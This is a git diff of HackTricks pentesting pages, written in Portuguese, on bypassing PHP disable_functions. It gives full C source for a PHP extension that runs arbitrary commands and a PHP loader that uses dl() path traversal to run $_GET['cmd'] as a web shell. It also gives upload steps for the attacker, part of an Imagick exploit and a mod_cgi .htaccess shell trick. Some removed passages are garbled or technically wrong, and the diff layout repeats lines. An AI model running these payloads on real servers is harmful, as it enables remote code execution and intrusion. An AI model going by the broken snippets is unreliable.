|
static function_entry bypass_functions[] = {
|
||||||
PHP_FE(bypass_exec, NULL)
|
PHP_FE(bypass_exec, NULL)
|
||||||
{NULL, NULL, NULL}
|
{NULL, NULL, NULL}
|
||||||
};
|
};
|
||||||
|
|
||||||
zend_module_entry bypass_module_entry = {
|
zend_module_entry bypass_module_entry = {
|
||||||
#if ZEND_MODULE_API_NO >= 20010901
|
#if ZEND_MODULE_API_NO >= 20010901
|
||||||
STANDARD_MODULE_HEADER,
|
STANDARD_MODULE_HEADER,
|
||||||
#endif
|
#endif
|
||||||
PHP_BYPASS_EXTNAME,
|
PHP_BYPASS_EXTNAME,
|
||||||
bypass_functions,
|
bypass_functions,
|
||||||
NULL,
|
NULL,
|
||||||
NULL,
|
NULL,
|
||||||
NULL,
|
NULL,
|
||||||
NULL,
|
NULL,
|
||||||
NULL,
|
NULL,
|
||||||
#if ZEND_MODULE_API_NO >= 20010901
|
#if ZEND_MODULE_API_NO >= 20010901
|
||||||
PHP_BYPASS_VERSION,
|
PHP_BYPASS_VERSION,
|
||||||
#endif
|
#endif
|
||||||
STANDARD_MODULE_PROPERTIES
|
STANDARD_MODULE_PROPERTIES
|
||||||
};
|
};
|
||||||
|
|
||||||
#ifdef COMPILE_DL_BYPASS
|
#ifdef COMPILE_DL_BYPASS
|
||||||
|
@ -152,108 +150,50 @@ ZEND_GET_MODULE(bypass)
|
||||||
|
|
||||||
|
|
||||||
PHP_FUNCTION(bypass_exec){
|
PHP_FUNCTION(bypass_exec){
|
||||||
FILE *in;
|
FILE *in;
|
||||||
int readbytes, total_readbytes=0, allocated_space;
|
int readbytes, total_readbytes=0, allocated_space;
|
||||||
pval **cmd;
|
pval **cmd;
|
||||||
char *ret;
|
char *ret;
|
||||||
|
|
||||||
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
|
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
|
||||||
WRONG_PARAM_COUNT;
|
WRONG_PARAM_COUNT;
|
||||||
}
|
}
|
||||||
|
|
||||||
convert_to_string_ex(cmd);
|
convert_to_string_ex(cmd);
|
||||||
#ifdef PHP_WIN32
|
#ifdef PHP_WIN32
|
||||||
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
|
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
|
||||||
#else
|
#else
|
||||||
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
|
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
|
||||||
#endif
|
#endif
|
||||||
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
|
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
|
||||||
RETURN_FALSE;
|
RETURN_FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
allocated_space = EXEC_INPUT_BUF;
|
allocated_space = EXEC_INPUT_BUF;
|
||||||
ret = (char *) emalloc(allocated_space);
|
ret = (char *) emalloc(allocated_space);
|
||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
|
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
|
||||||
if (readbytes<=0) {
|
if (readbytes<=0) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
total_readbytes += readbytes;
|
total_readbytes += readbytes;
|
||||||
allocated_space = total_readbytes+EXEC_INPUT_BUF;
|
allocated_space = total_readbytes+EXEC_INPUT_BUF;
|
||||||
ret = (char *) erealloc(ret, allocated_space);
|
ret = (char *) erealloc(ret, allocated_space);
|
||||||
}
|
}
|
||||||
|
|
||||||
pclose(in);
|
pclose(in);
|
||||||
|
|
||||||
RETVAL_STRINGL(ret, total_readbytes, 0);
|
RETVAL_STRINGL(ret, total_readbytes, 0);
|
||||||
Z_STRVAL_P(return_value)[total_readbytes] = '\';
|
Z_STRVAL_P(return_value)[total_readbytes] = '\';
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="php_bypass.h" %}
|
{% code title="php_bypass.h" %}
|
||||||
|
|
||||||
```c
|
|
||||||
/*
|
|
||||||
php_bypass.h - PHP disable_functions and open_basedir bypass using dl() function
|
|
||||||
Copyright (C) 2020 HackTricks
|
|
||||||
This file is part of HackTricks
|
|
||||||
Author: @theart42 (@hacktricks)
|
|
||||||
Repository: https://github.com/Hackplayers/hacktricks
|
|
||||||
*/
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <dlfcn.h>
|
|
||||||
|
|
||||||
#define PHP_DL(str) dlopen(str, RTLD_NOW)
|
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
|
||||||
if (argc < 3) {
|
|
||||||
printf("Usage: %s <php_file> <function_to_call>\n", argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *php_file = argv[1];
|
|
||||||
char *function_to_call = argv[2];
|
|
||||||
|
|
||||||
void *handle = PHP_DL(php_file);
|
|
||||||
if (!handle) {
|
|
||||||
printf("Error opening %s\n", php_file);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
void (*func)();
|
|
||||||
*(void **)(&func) = dlsym(handle, function_to_call);
|
|
||||||
if (dlerror() != NULL) {
|
|
||||||
printf("Error loading %s\n", function_to_call);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
func();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
This is a simple C program that uses the `dl()` function to load a PHP file and execute a function from it, bypassing the `disable_functions` and `open_basedir` restrictions.
|
|
||||||
|
|
||||||
To compile it, just run:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
gcc php_bypass.c -o php_bypass
|
|
||||||
```
|
|
||||||
|
|
||||||
And then execute it with the PHP file and function you want to call:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./php_bypass /var/www/html/shell.php system
|
|
||||||
```
|
|
||||||
|
|
||||||
This will execute the `system()` function from the `shell.php` file, even if the `system()` function is disabled in the PHP configuration or if the `shell.php` file is outside the `open_basedir` path.
|
|
||||||
|
|
||||||
Note that this technique requires the `dl()` function to be enabled in the PHP configuration. If it's not enabled, you can try to use other techniques like `proc_open()` or `popen()`.
|
|
||||||
```c
|
```c
|
||||||
#ifndef PHP_BYPASS_H
|
#ifndef PHP_BYPASS_H
|
||||||
#define PHP_BYPASS_H 1
|
#define PHP_BYPASS_H 1
|
||||||
|
@ -268,119 +208,103 @@ extern zend_module_entry bypass_module_entry;
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="config.m4" %}
|
{% code title="config.m4" %}
|
||||||
|
|
||||||
```php
|
|
||||||
if (PHP_WIN32 && !strcasecmp($enable_dl, "yes")) {
|
|
||||||
AC_MSG_ERROR([You should not enable dl() function in PHP on Windows platforms])
|
|
||||||
fi
|
|
||||||
```
|
```
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
Se você estiver tentando executar um exploit que depende da função `dl()` do PHP em um ambiente Windows, pode encontrar um erro que indica que a função não está disponível. Isso ocorre porque a função `dl()` não é suportada no Windows. No entanto, se você verificar o arquivo `config.m4` do PHP, verá que há uma verificação para impedir que a função `dl()` seja habilitada em plataformas Windows. A verificação é feita com o seguinte código:
|
|
||||||
|
|
||||||
```php
|
|
||||||
if (PHP_WIN32 && !strcasecmp($enable_dl, "yes")) {
|
|
||||||
AC_MSG_ERROR([You should not enable dl() function in PHP on Windows platforms])
|
|
||||||
fi
|
|
||||||
```
|
|
||||||
|
|
||||||
Isso significa que, mesmo que você tente habilitar a função `dl()` no arquivo `php.ini`, ela ainda não funcionará em um ambiente Windows.
|
|
||||||
```bash
|
```bash
|
||||||
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
|
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
|
||||||
|
|
||||||
if test "$PHP_BYPASS" = "yes"; then
|
if test "$PHP_BYPASS" = "yes"; then
|
||||||
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
|
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
|
||||||
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
|
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
|
||||||
fi
|
fi
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Depois que os arquivos forem criados, é hora de construir a extensão PHP.
|
Uma vez que os arquivos são criados, é hora de construir a extensão PHP.
|
||||||
```
|
```
|
||||||
phpize
|
phpize
|
||||||
./configure
|
./configure
|
||||||
make
|
make
|
||||||
```
|
```
|
||||||
Uma vez feito isso, a extensão compilada estará localizada no subdiretório modules com o nome de arquivo bypass.so.\
|
Uma vez feito isso, a extensão compilada estará localizada no subdiretório modules com o nome do arquivo bypass.so.
|
||||||
O arquivo é copiado para um local seguro, agora os seguintes comandos são executados para limpar os arquivos recém-criados.
|
O arquivo é copiado para um local seguro, agora os seguintes comandos são executados para limpar os arquivos recém-criados.
|
||||||
```
|
```
|
||||||
make clean
|
make clean
|
||||||
phpize --clean
|
phpize --clean
|
||||||
```
|
```
|
||||||
Agora o atacante faz o upload da extensão recém-criada para o host da vítima.\
|
Agora o atacante faz o upload da extensão recém-criada para o host vítima.
|
||||||
\
|
|
||||||
(NOTA: As principais versões do PHP usam diferentes versões de API, para que você possa compilar a extensão em um host e fazer o upload para outro, as versões da API devem ser iguais. É por isso que inicialmente a mesma versão do PHP foi instalada no computador do atacante.)\
|
(NOTA: Versões principais do PHP usam diferentes versões da API, para que você possa compilar a extensão em um host e fazer o upload para outro, as versões da API devem coincidir. É por isso que inicialmente a mesma versão do PHP foi instalada na máquina do atacante.)
|
||||||
\
|
|
||||||
Para carregar uma extensão com a função dl, a extensão precisa estar no diretório de extensões, que é definido pela diretiva extension\_dir.\
|
Para carregar uma extensão com a função dl, a extensão precisa estar no diretório de extensões definido pela diretiva extension_dir.
|
||||||
Isso pode ser um problema, já que é menos provável que o atacante tenha permissões de gravação neste diretório, no entanto, há uma maneira de contornar isso.\
|
Isso pode ser um problema, pois é menos provável que o atacante tenha permissões de escrita neste diretório, no entanto, há uma maneira de contornar isso.
|
||||||
Esse problema foi discutido pelos desenvolvedores na página da função dl na seção de notas.\
|
Esse problema foi discutido por desenvolvedores na página da função dl, na seção de notas.
|
||||||
\
|
|
||||||
O conceito discutido é usar um caminho relativo a partir do diretório de extensões definido.\
|
O conceito discutido é usar um caminho relativo a partir do diretório de extensões definido.
|
||||||
Por exemplo, se o diretório de extensões estiver definido como /usr/php/extensions e você deseja carregar bypass.so no diretório da web atual /home/example.com/html, você faria o seguinte:
|
Por exemplo, se o diretório de extensões foi definido como /usr/php/extensions e você gostaria de carregar bypass.so no diretório web atual /home/example.com/html, você faria o seguinte:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
dl('../../../home/example.com/html/bypass.so');
|
dl('../../../home/example.com/html/bypass.so');
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
Isso passará pela necessidade de ter a extensão no diretório de extensão definido.\
|
Este método permite contornar a necessidade de ter a extensão no diretório de extensões definido.
|
||||||
\
|
|
||||||
Também há uma maneira automatizada para que você não precise alterar o caminho relativo para diferentes hosts, este código foi criado por endofyourself \[at] yahoo \[dot] com e posteriormente melhorado por mag\_2000 \[at] front \[dot] ru\
|
Há também uma maneira automatizada para que você não precise alterar o caminho relativo para diferentes hosts, este código foi criado por endofyourself \[at] yahoo \[dot] com e melhorado posteriormente por mag\_2000 \[at] front \[dot] ru
|
||||||
\
|
|
||||||
Houve um problema menor com a função, em alguns hosts o diretório de extensão é definido como "./" esta função não levou em conta se o diretório de extensão foi definido como um caminho relativo, a solução para isso é usar a função realpath.\
|
Havia um pequeno problema com a função, em alguns hosts o diretório de extensões está definido como "./". Esta função não levava em conta se o diretório de extensões estava definido para um caminho relativo, a solução para isso é usar a função realpath.
|
||||||
\
|
|
||||||
O script final usado para carregar a extensão e executar comandos do sistema para contornar as funções desativadas é o seguinte:
|
O script final usado para carregar a extensão e executar comandos do sistema para contornar as funções desabilitadas é o seguinte:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
function dl_local( $extensionFile ) {
|
function dl_local( $extensionFile ) {
|
||||||
if(!(bool)ini_get('enable_dl')
|
if(!(bool)ini_get('enable_dl')
|
||||||
||(bool)ini_get('safe_mode')){
|
||(bool)ini_get('safe_mode')){
|
||||||
die('Loading extensions is not permitted.');
|
die('Loading extensions is not permitted.');
|
||||||
}
|
}
|
||||||
|
|
||||||
if(!file_exists($extensionFile)){
|
if(!file_exists($extensionFile)){
|
||||||
die('File '.$extensionFile.' does not exist.');
|
die('File '.$extensionFile.' does not exist.');
|
||||||
}
|
}
|
||||||
|
|
||||||
if(!is_executable($extensionFile)){
|
if(!is_executable($extensionFile)){
|
||||||
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
|
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
|
||||||
}
|
}
|
||||||
|
|
||||||
$currentDir = getcwd().'/';
|
$currentDir = getcwd().'/';
|
||||||
$currentExtPath = realpath(ini_get('extension_dir'));
|
$currentExtPath = realpath(ini_get('extension_dir'));
|
||||||
|
|
||||||
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
|
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
|
||||||
unset($matches);
|
unset($matches);
|
||||||
|
|
||||||
if(!(bool)$subDirs){
|
if(!(bool)$subDirs){
|
||||||
die('Could not determine a valid extension path [extension_dir]');
|
die('Could not determine a valid extension path [extension_dir]');
|
||||||
}
|
}
|
||||||
|
|
||||||
$extPathLastChar=strlen($currentExtPath )-1;
|
$extPathLastChar=strlen($currentExtPath )-1;
|
||||||
|
|
||||||
if($extPathLastChar==strrpos($currentExtPath,'/')){
|
if($extPathLastChar==strrpos($currentExtPath,'/')){
|
||||||
$subDirs--;}$backDirStr = '';
|
$subDirs--;}$backDirStr = '';
|
||||||
|
|
||||||
for($i = 1; $i <= $subDirs; $i++){
|
for($i = 1; $i <= $subDirs; $i++){
|
||||||
$backDirStr .='..';
|
$backDirStr .='..';
|
||||||
if($i != $subDirs){
|
if($i != $subDirs){
|
||||||
$backDirStr .='/';
|
$backDirStr .='/';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
|
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
|
||||||
if(!dl($finalExtPath)){
|
if(!dl($finalExtPath)){
|
||||||
die();
|
die();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
$loadedExtensions = get_loaded_extensions();
|
$loadedExtensions = get_loaded_extensions();
|
||||||
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
|
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
|
||||||
return $thisExtName;
|
return $thisExtName;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ini_set ('display_errors','1');
|
@ini_set ('display_errors','1');
|
||||||
|
@ -389,27 +313,25 @@ error_reporting(E_ALL);
|
||||||
dl_local('bypass.so');
|
dl_local('bypass.so');
|
||||||
|
|
||||||
if(@$_GET['cmd']){
|
if(@$_GET['cmd']){
|
||||||
$output = bypass_exec($_GET['cmd']);
|
$output = bypass_exec($_GET['cmd']);
|
||||||
echo '<pre>'.$output.'</pre>';
|
echo '<pre>'.$output.'</pre>';
|
||||||
}
|
}
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
Tudo o que o atacante precisa fazer agora para executar comandos é chamar a URL do script juntamente com uma variável cmd com o comando desejado.
|
Tudo o que o atacante precisa fazer agora para executar comandos é chamar a URL do script junto com uma variável cmd com o comando desejado.
|
||||||
```
|
```
|
||||||
http://www.example.com/script.php?cmd=ls
|
http://www.example.com/script.php?cmd=ls
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,21 +1,19 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Exploração do Imagick <= 3.3.0 PHP >= 5.4
|
# Imagick <= 3.3.0 PHP >= 5.4 Exploit
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
```php
|
```php
|
||||||
|
@ -69,16 +67,14 @@ echo file_get_contents($data_file);
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# mod\_cgi
|
# mod\_cgi
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
|
|
||||||
## Bypassing disable_functions and open_basedir
|
|
||||||
|
|
||||||
Se você estiver em um ambiente mod\_cgi, poderá usar o seguinte truque para ignorar as restrições de disable\_functions e open\_basedir:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
putenv("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
|
|
||||||
$cmd = "python -c 'import os; os.system(\"/bin/bash\")';";
|
|
||||||
system($cmd);
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
Basicamente, você está definindo o PATH para incluir diretórios que não estão restritos e, em seguida, executando um comando que chama um shell interativo.
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
// Only working with mod_cgi, writable dir and htaccess files enabled
|
// Only working with mod_cgi, writable dir and htaccess files enabled
|
||||||
|
@ -24,48 +25,46 @@ $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed
|
||||||
$shellfile .= "$cmd"; //executing $cmd
|
$shellfile .= "$cmd"; //executing $cmd
|
||||||
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
|
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
|
||||||
{
|
{
|
||||||
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
|
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
|
||||||
}
|
}
|
||||||
if (!isset($_GET['checked']))
|
if (!isset($_GET['checked']))
|
||||||
{
|
{
|
||||||
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
|
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
|
||||||
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
|
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
|
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
|
||||||
$writable = is_writable('.'); //current dir writable?
|
$writable = is_writable('.'); //current dir writable?
|
||||||
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
|
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
|
